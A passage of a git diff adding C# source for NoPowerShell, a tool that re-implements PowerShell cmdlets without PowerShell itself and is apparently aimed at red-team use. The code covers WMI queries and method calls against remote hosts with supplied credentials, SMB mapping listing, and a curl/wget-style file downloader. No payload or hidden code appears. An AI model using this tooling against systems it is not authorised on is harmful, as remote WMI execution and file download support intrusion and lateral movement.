Possibilities: + // - arg1,arg2 + // - arg1, arg2 + // Not supported yet: arg1 ,arg2 + StringBuilder strbargs = new StringBuilder(); + for (int j = i; j < userArguments.Length; j++) + { + string candidateArg = userArguments[j]; + + if (candidateArg.EndsWith(",")) + { + strbargs.Append(userArguments[j]); + i++; + } + else + break; + } + + bool onlyArgument = strbargs.Length == 0; + string strargs = strbargs.Append(userArguments[i]).ToString(); + + // Array where current component is last one + if (!onlyArgument) + i++; + + aCasted.Value = strargs; + assignedValue = true; + break; + } + } + + if (!assignedValue) + throw new Exception("Failed to assign value to parameter"); + + i++; + } + + return supportedArguments; + } + + /// + /// Implementation of the cmdlet + /// + /// Output from previous command in pipe + /// + public virtual CommandResult Execute(CommandResult pipeIn) + { + throw new InvalidOperationException("This function should be overridden"); + } + + /// + /// Command + aliases of PSCommand. Is used for displaying help and to determine which command a user wants to execute. + /// + public virtual List Aliases + { + get { throw new InvalidOperationException("This attribute should be overridden"); } + } + + /// + /// Name of cmdlet + /// + public string Command + { + // First command in list of Aliases should always be the full cmdlet + get { return Aliases[0]; } + } + + /// + /// List of supported arguments. Order of the arguments will be reflected in the help (Get-Command). + /// + public virtual ArgumentList SupportedArguments + { + get { throw new InvalidOperationException("This attribute should be overridden"); } + } + + public virtual string Synopsis + { + get { throw new InvalidOperationException("This attribute should be overridden"); } + } + + public override string ToString() + { + PropertyInfo aliasesProperty = this.GetType().GetProperty("Aliases", BindingFlags.Static | BindingFlags.Public); + CaseInsensitiveList aliases = (CaseInsensitiveList)aliasesProperty.GetValue(null, null); + return aliases[0]; + } + } +} \ No newline at end of file diff --git a/Source/NoPowerShell/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs new file mode 100644 index 0000000..8cfb0df --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/SmbShare/GetSmbMappingCommand.cs @@ -0,0 +1,50 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class GetSmbMapping : PSCommand + { + public GetSmbMapping(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + _results = WmiHelper.ExecuteWmiQuery(@"ROOT\Microsoft\Windows\SMB", "Select LocalPath,RemotePath From MSFT_SmbMapping"); + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { + return new CaseInsensitiveList() + { + "Get-NetSmbMapping", + "netuse" // Not official + }; + } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + }; + } + } + + public static new string Synopsis + { + get { return "Retrieves the SMB client directory mappings created for a server."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/TemplateCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/TemplateCommand.cs new file mode 100644 index 0000000..72959f8 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/TemplateCommand.cs @@ -0,0 +1,94 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class TemplateCommand : PSCommand + { + public TemplateCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain cmdlet parameters + // Will contain all of the arguments from the 'ArgumentList Arguments' below + bool myFlag = _arguments.Get("MyFlag").Value; + int myInteger = _arguments.Get("MyInteger").Value; + string myString = _arguments.Get("MyString").Value; + + // The following (optional) parameters are always available, + // no need to add them to the SupportedArguments below + string computerName = _arguments.Get("ComputerName").Value; + string username = _arguments.Get("Username").Value; + string password = _arguments.Get("Password").Value; + + // Write your code here, storing the output in attributename-value pairs + // Example of resulting table: + // Attribute1 Attribute2 + // ---------- ---------- + // Line00-Attribute1-Hello World Line00-Attribute2-Hello World + // Line01-Attribute1-Hello World Line01-Attribute2-Hello World + // Line02-Attribute1-Hello World Line02-Attribute2-Hello World + // Line03-Attribute1-Hello World Line03-Attribute2-Hello World + // Line04-Attribute1-Hello World Line04-Attribute2-Hello World + // etc. + + if (!myFlag) + { + for (int i = 0; i < myInteger; i++) + { + _results.Add( + new ResultRecord() + { + { "Attribute1", string.Format("Line{0:D2}-Attribute1-{1}", i, myString) }, + { "Attribute2", string.Format("Line{0:D2}-Attribute2-{1}", i, myString) } + //{ "AttributeN", string.Format("Line{0}-AttributeN-{1}", i, myString) } + } + ); + } + } + else + { + _results.Add( + new ResultRecord() + { + { string.Empty, "MyFlag flag has been set." } + } + ); + } + + // Always return the results so the output can be used by the next command in the pipeline + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-TemplateCommand", "gtc" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new BoolArgument("MyFlag"), + new IntegerArgument("MyInteger", 5, true), + new StringArgument("MyString", "Hello World") + }; + } + } + + public static new string Synopsis + { + get { return "This template shows how easy it is to develop new NoPowerShell cmdlets."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatListCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatListCommand.cs new file mode 100644 index 0000000..a13ec29 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatListCommand.cs @@ -0,0 +1,73 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class FormatListCommand : PSCommand + { + public FormatListCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string[] properties = _arguments.Get("Property").Value.Split(','); + + _results.Output = CommandResult.OutputType.List; + + foreach (ResultRecord result in pipeIn) + { + // Show all columns + if (properties[0] == string.Empty) + _results.Add(result); + + // Show only specific columns + else + { + ResultRecord newResult = new ResultRecord(); + + foreach (string attr in properties) + { + if (result.ContainsKey(attr)) + newResult.Add(attr, result[attr]); + else + newResult.Add(attr, null); + } + + _results.Add(newResult); + } + } + + ResultPrinter.OutputResults(_results); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Format-List", "fl" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property", string.Empty) + }; + } + } + + public static new string Synopsis + { + get { return "Formats the output as a list of properties in which each property appears on a new line."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatTableCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatTableCommand.cs new file mode 100644 index 0000000..4db2822 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Utility/FormatTableCommand.cs @@ -0,0 +1,73 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class FormatTableCommand : PSCommand + { + public FormatTableCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string[] properties = _arguments.Get("Property").Value.Split(','); + + _results.Output = CommandResult.OutputType.Table; + + foreach (ResultRecord result in pipeIn) + { + // Show all columns + if (properties[0] == string.Empty) + _results.Add(result); + + // Show only specific columns + else + { + ResultRecord newResult = new ResultRecord(); + + foreach (string attr in properties) + { + if (result.ContainsKey(attr)) + newResult.Add(attr, result[attr]); + else + newResult.Add(attr, null); + } + + _results.Add(newResult); + } + } + + ResultPrinter.OutputResults(_results); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Format-Table", "ft" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property", string.Empty) + }; + } + } + + public static new string Synopsis + { + get { return "Formats the output as a table."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs new file mode 100644 index 0000000..1dec342 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Utility/InvokeWebRequestCommand.cs @@ -0,0 +1,69 @@ +using System; +using System.IO; +using System.Net; +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class InvokeWebRequest : PSCommand + { + public InvokeWebRequest(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string uri = _arguments.Get("URI").Value; + string outfile = _arguments.Get("OutFile").Value; + + // Try to automatically determine filename + if (string.IsNullOrEmpty(outfile)) + { + Uri href = new Uri(uri); + outfile = Path.GetFileName(href.LocalPath); + } + + // If still empty, use "out" as filename + if (string.IsNullOrEmpty(outfile)) + outfile = "out"; + + // Known issues: + // - TLS 1.1+ is not supported by .NET Framework 2, so any site enforcing it will result in a connection error + using (WebClient client = new WebClient()) + { + client.DownloadFile(uri, outfile); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Invoke-WebRequest", "curl", "iwr", "wget" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("URI", null), + new StringArgument("OutFile", null, true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets content from a web page on the Internet."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Commands/Utility/SelectObjectCommand.cs b/Source/NoPowerShell/NoPowerShell/Commands/Utility/SelectObjectCommand.cs new file mode 100644 index 0000000..034736d --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Commands/Utility/SelectObjectCommand.cs @@ -0,0 +1,61 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands +{ + public class SelectObjectCommand : PSCommand + { + public SelectObjectCommand(string[] arguments) : base(arguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + string[] attributes = _arguments.Get("Property").Value.Split(','); + + foreach (ResultRecord result in pipeIn) + { + ResultRecord newResult = new ResultRecord(); + + foreach (string attr in attributes) + { + if (result.ContainsKey(attr)) + newResult.Add(attr, result[attr]); + else + newResult.Add(attr, null); + } + + _results.Add(newResult); + } + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Select-Object", "select" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Property", null) + }; + } + } + + public static new string Synopsis + { + get { return "Selects objects or object properties."; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/CaseInsensitiveList.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/CaseInsensitiveList.cs new file mode 100644 index 0000000..833d618 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/CaseInsensitiveList.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + public class CaseInsensitiveList : List + { + public new bool Contains(string item) + { + foreach (string s in this) + { + if (s.Equals(item, StringComparison.InvariantCultureIgnoreCase)) + return true; + } + + return false; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/CommandResult.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/CommandResult.cs new file mode 100644 index 0000000..b3cc1c1 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/CommandResult.cs @@ -0,0 +1,32 @@ +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + public class CommandResult : List + { + public enum OutputType { List, Table, Auto }; + private OutputType _output; + + public CommandResult(int capacity) : base(capacity) + { + _output = OutputType.Auto; + } + + public CommandResult() : base() + { + _output = OutputType.Auto; + } + + public OutputType Output + { + get { return _output; } + set { _output = value; } + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/PipeParser.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/PipeParser.cs new file mode 100644 index 0000000..e0b3d01 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/PipeParser.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using NoPowerShell.Commands; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + class PipeParser + { + public static List ParseArguments(string[] args, Dictionary commandTypes) + { + List> parsedPipes = new List>(); + List currentPipe = new List(); + + // Split pipes + foreach (string arg in args) + { + if (arg == "|") + { + parsedPipes.Add(currentPipe); + currentPipe = new List(); + } + else + { + currentPipe.Add(arg); + } + } + parsedPipes.Add(currentPipe); + + // Parse commands between pipes + List allCommands = new List(parsedPipes.Count); + foreach (List pipe in parsedPipes) + { + string command = pipe[0].ToLowerInvariant(); + string[] pipeargs = pipe.GetRange(1, pipe.Count - 1).ToArray(); + + // Locate the command in the aliases of the available commands + bool foundMatchingCommand = false; + foreach (KeyValuePair commandType in commandTypes) + { + if (commandType.Value.Contains(command)) + { + object[] parameters = new object[] { pipeargs }; + allCommands.Add((PSCommand)Activator.CreateInstance(commandType.Key, parameters)); + foundMatchingCommand = true; + break; + } + } + + if (!foundMatchingCommand) + throw new ArgumentException("Unknown command"); + } + + return allCommands; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/ReflectionHelper.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/ReflectionHelper.cs new file mode 100644 index 0000000..922c406 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/ReflectionHelper.cs @@ -0,0 +1,41 @@ +using System; +using System.Collections.Generic; +using System.Reflection; +using NoPowerShell.Commands; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + class ReflectionHelper + { + /// + /// Using reflection determine available commands + /// + /// List of commands + public static Dictionary GetCommands() + { + Dictionary commandTypes = new Dictionary(); + foreach (Type t in Assembly.GetExecutingAssembly().GetTypes()) + { + if (t.BaseType == typeof(PSCommand)) + { + CaseInsensitiveList aliases = null; + PropertyInfo aliasProperty = t.GetProperty("Aliases", BindingFlags.Static | BindingFlags.Public); + if (aliasProperty != null) + aliases = (CaseInsensitiveList)aliasProperty.GetValue(null, null); + else + aliases = new CaseInsensitiveList(); + + commandTypes.Add(t, aliases); + } + } + + return commandTypes; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultPrinter.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultPrinter.cs new file mode 100644 index 0000000..a4ccf57 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultPrinter.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + public class ResultPrinter + { + public static void OutputResults(CommandResult results) + { + if (results == null) + return; + + switch (results.Output) + { + case CommandResult.OutputType.List: + FormatList(results); + break; + case CommandResult.OutputType.Table: + FormatTable(results); + break; + default: + AutoFormat(results); + break; + } + } + + public static void AutoFormat(CommandResult results) + { + // In case of raw data output without headings + if (results.Count == 1 && results[0].ContainsKey(string.Empty)) + FormatRaw(results); + // Only single row result + else if (results.Count == 1) + FormatList(results); + // List of results + else + FormatTable(results); + } + + private static void FormatRaw(CommandResult results) + { + string rawOutput = results[0][string.Empty]; + Console.Write(rawOutput); + } + + public static void FormatTable(CommandResult results) + { + // No results + if (results.Count == 0) + return; + + Dictionary columns = CalcColumnWidths(results); + + // Print header + int columnCount = columns.Count; + int currentCol = 0; + string separator = string.Empty; + foreach (string column in columns.Keys) + { + currentCol++; + + string paddedSeparator = new string('-', column.Length) + new string(' ', columns[column] - column.Length + 1); + string paddedValue = column.PadRight(columns[column]); + + // The most right column does not need to be padded + if (columnCount == currentCol) + { + paddedSeparator = new string('-', column.Length); + paddedValue = column; + } + separator += paddedSeparator; + + Console.Write("{0} ", paddedValue); + } + Console.WriteLine(); + Console.WriteLine(separator); + + // Print data + foreach (ResultRecord row in results) + { + currentCol = 0; + foreach (string column in columns.Keys) + { + currentCol++; + string value = row[column.Trim()]; + + if (value == null) + value = string.Empty; + + // The most right column does not need to be padded + string paddedValue = value.PadRight(columns[column] + 1); + if (currentCol == columnCount) + paddedValue = value; + + Console.Write(paddedValue); + } + Console.WriteLine(); + } + } + + public static void FormatList(CommandResult results) + { + // No results + if (results.Count == 0) + return; + + Dictionary columns = CalcColumnWidths(results); + + // Determine maximum column width + int maxColumnLength = -1; + foreach (string column in columns.Keys) + { + if (column.Length > maxColumnLength) + maxColumnLength = column.Length; + } + + // Print data + foreach (ResultRecord result in results) + { + foreach (string column in columns.Keys) + { + Console.WriteLine("{0} : {1}", column.PadRight(maxColumnLength), result[column]); + } + Console.WriteLine(); + } + } + private static Dictionary CalcColumnWidths(CommandResult results) + { + Dictionary columnWidths = new Dictionary(results[0].Keys.Count); + + foreach (string key in results[0].Keys) + { + columnWidths.Add(key, key.Length); + } + + string[] columnNames = new string[columnWidths.Count]; + columnWidths.Keys.CopyTo(columnNames, 0); + + // Iterate over results in output + foreach (ResultRecord result in results) + { + // Iterate over columns of reach result + foreach (string key in columnNames) + { + string value = result[key]; + if (value == null) + continue; + + if (value.Length > columnWidths[key]) + columnWidths[key] = value.Length; + } + } + + return columnWidths; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultRecord.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultRecord.cs new file mode 100644 index 0000000..3efe0f4 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/ResultRecord.cs @@ -0,0 +1,21 @@ +using System.Collections.Generic; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + public class ResultRecord : Dictionary + { + public ResultRecord() : base() + { + } + + public ResultRecord(int capacity, IEqualityComparer comparer) : base(capacity, comparer) + { + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/HelperClasses/WmiHelper.cs b/Source/NoPowerShell/NoPowerShell/HelperClasses/WmiHelper.cs new file mode 100644 index 0000000..ba4a5be --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/HelperClasses/WmiHelper.cs @@ -0,0 +1,147 @@ +using System; +using System.Collections.Generic; +using System.Management; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.HelperClasses +{ + class WmiHelper + { + public static CommandResult ExecuteWmiQuery(string wmiQuery) + { + return ExecuteWmiQuery(@"ROOT\CIMV2", wmiQuery); + } + + public static CommandResult ExecuteWmiQuery(string wmiNamespace, string wmiQuery) + { + return ExecuteWmiQuery(wmiNamespace, wmiQuery, ".", null, null); + } + + public static CommandResult ExecuteWmiQuery(string wmiNamespace, string wmiQuery, string computerName, string username, string password) + { + CommandResult queryResults = null; + + ManagementScope scope = GetScope(wmiNamespace, computerName, username, password); + + ObjectQuery query = new ObjectQuery(wmiQuery); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query); + + ManagementObjectCollection queryCollection = searcher.Get(); + Dictionary columns = new Dictionary(StringComparer.InvariantCultureIgnoreCase); + queryResults = new CommandResult(queryCollection.Count); + + // Determine column order + int start = wmiQuery.ToLower().IndexOf("select") + "select".Length; + int length = wmiQuery.ToLower().IndexOf(" from") - start; + string columns_string = wmiQuery.Substring(start, length); + string[] dirty_columns = columns_string.Split(','); + foreach (string col in dirty_columns) + columns.Add(col.Trim(), col.Trim().Length); + + // Case of SELECT * + bool wildCardSelect = false; + if (columns.ContainsKey("*")) + { + columns = new Dictionary(StringComparer.InvariantCultureIgnoreCase); + wildCardSelect = true; + } + + // Collect data + foreach (ManagementObject m in queryCollection) + { + ResultRecord result = new ResultRecord(m.Properties.Count, StringComparer.InvariantCultureIgnoreCase); + + // Case of SELECT * + if (wildCardSelect) + { + foreach (PropertyData data in m.Properties) + { + columns.Add(data.Name, data.Name.Length); + } + wildCardSelect = false; + } + + // Prepare order of columns + foreach (string column in columns.Keys) + result.Add(column, null); + + // Collect attributes + foreach (PropertyData data in m.Properties) + { + string key = data.Name; + string value = string.Empty; + if (data.Value != null) + { + if (data.Value.GetType() == typeof(string[])) + value = string.Join(", ", (string[])data.Value); + else + value = Convert.ToString(data.Value); + } + + result[key] = value; + } + + queryResults.Add(result); + } + + return queryResults; + } + + public static CommandResult InvokeWmiMethod(string wmiNamespace, string wmiClass, string methodName, string methodArguments, string computerName, string username, string password) + { + CommandResult invokeResults = new CommandResult(1); + + ManagementScope scope = GetScope(wmiNamespace, computerName, username, password); + ManagementClass mgmtClass = new ManagementClass(scope.Path.Path, wmiClass, null); + MethodData method = mgmtClass.Methods[methodName]; + + // -1 because ReturnValue does not count + int paramCount = method.InParameters.Properties.Count + method.OutParameters.Properties.Count - 1; + + // Invoke the method + object[] methodArgs = new object[paramCount]; + methodArgs[0] = methodArguments; // TODO, it should be possible to provide more arguments + object returnValue = mgmtClass.InvokeMethod(methodName, methodArgs); + + // Store the ReturnValue + ResultRecord outParams = new ResultRecord(); + outParams.Add("ReturnValue", Convert.ToString(returnValue)); + + // Store other outParams + int i = method.InParameters.Properties.Count; + foreach (PropertyData param in method.OutParameters.Properties) + { + // ReturnValue is not stored in the methodarguments, + // but instead is just the return value of the InvokeMethod method + if (param.Name == "ReturnValue") + continue; + + outParams.Add(param.Name, Convert.ToString(methodArgs[i])); + i++; + } + + invokeResults.Add(outParams); + + return invokeResults; + } + + private static ManagementScope GetScope(string wmiNamespace, string computerName, string username, string password) + { + ConnectionOptions options = new ConnectionOptions() + { + Impersonation = ImpersonationLevel.Impersonate, + Username = username, + Password = password + }; + ManagementScope scope = new ManagementScope(string.Format(@"\\{0}\{1}", computerName, wmiNamespace), options); + scope.Connect(); + + return scope; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell/NoPowerShell.csproj new file mode 100644 index 0000000..b2f8530 --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/NoPowerShell.csproj @@ -0,0 +1,83 @@ + + + + + Debug + AnyCPU + {555AD0AC-1FDB-4016-8257-170A74CB2F55} + Exe + NoPowerShell + NoPowerShell + v2.0 + 512 + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Source/NoPowerShell/NoPowerShell/Program.cs b/Source/NoPowerShell/NoPowerShell/Program.cs new file mode 100644 index 0000000..a197acb --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Program.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using NoPowerShell.Commands; +using NoPowerShell.HelperClasses; + +/* +Author: @_bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell +{ + class Program + { + static int Main(string[] args) + { + // Using reflection determine available commands + Dictionary availableCommands = ReflectionHelper.GetCommands(); + List userCommands = null; + + // If no arguments are provided to the executable, show help + if (args.Length == 0) + { + Console.WriteLine("== NoPowerShell v1.0 ==\r\nUrl: Website: https://github.com/bitsadmin\r\nUsage: NoPowerShell.exe [Command] [Parameters] | [Command2] [Parameters2] etc.\r\n"); + userCommands = new List(1) { new GetCommandCommand(null) }; + } + // Parse pipes in commandline arguments and commands within pipes + else + { + userCommands = PipeParser.ParseArguments(args, availableCommands); + } + + // Add output to console if no explicit output is provided + Type lastCommand = userCommands[userCommands.Count - 1].GetType(); + bool justOutput = false; + if (lastCommand != typeof(FormatListCommand) && lastCommand != typeof(FormatTableCommand)) + justOutput = true; + + CommandResult result = null; + try + { + // Execute commands in pipeline + foreach (PSCommand command in userCommands) + { + result = command.Execute(result); + } + } + catch (Exception e) + { + Console.Write(e.ToString()); + return -1; + } + + // Output to screen + if (justOutput) + ResultPrinter.OutputResults(result); + + return 0; + } + } +} diff --git a/Source/NoPowerShell/NoPowerShell/Properties/AssemblyInfo.cs b/Source/NoPowerShell/NoPowerShell/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..748c8cd --- /dev/null +++ b/Source/NoPowerShell/NoPowerShell/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("NoPowerShell")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("Bitsadmin")] +[assembly: AssemblyProduct("NoPowerShell")] +[assembly: AssemblyCopyright("Copyright © 2018")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("555ad0ac-1fdb-4016-8257-170a74cb2f55")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")]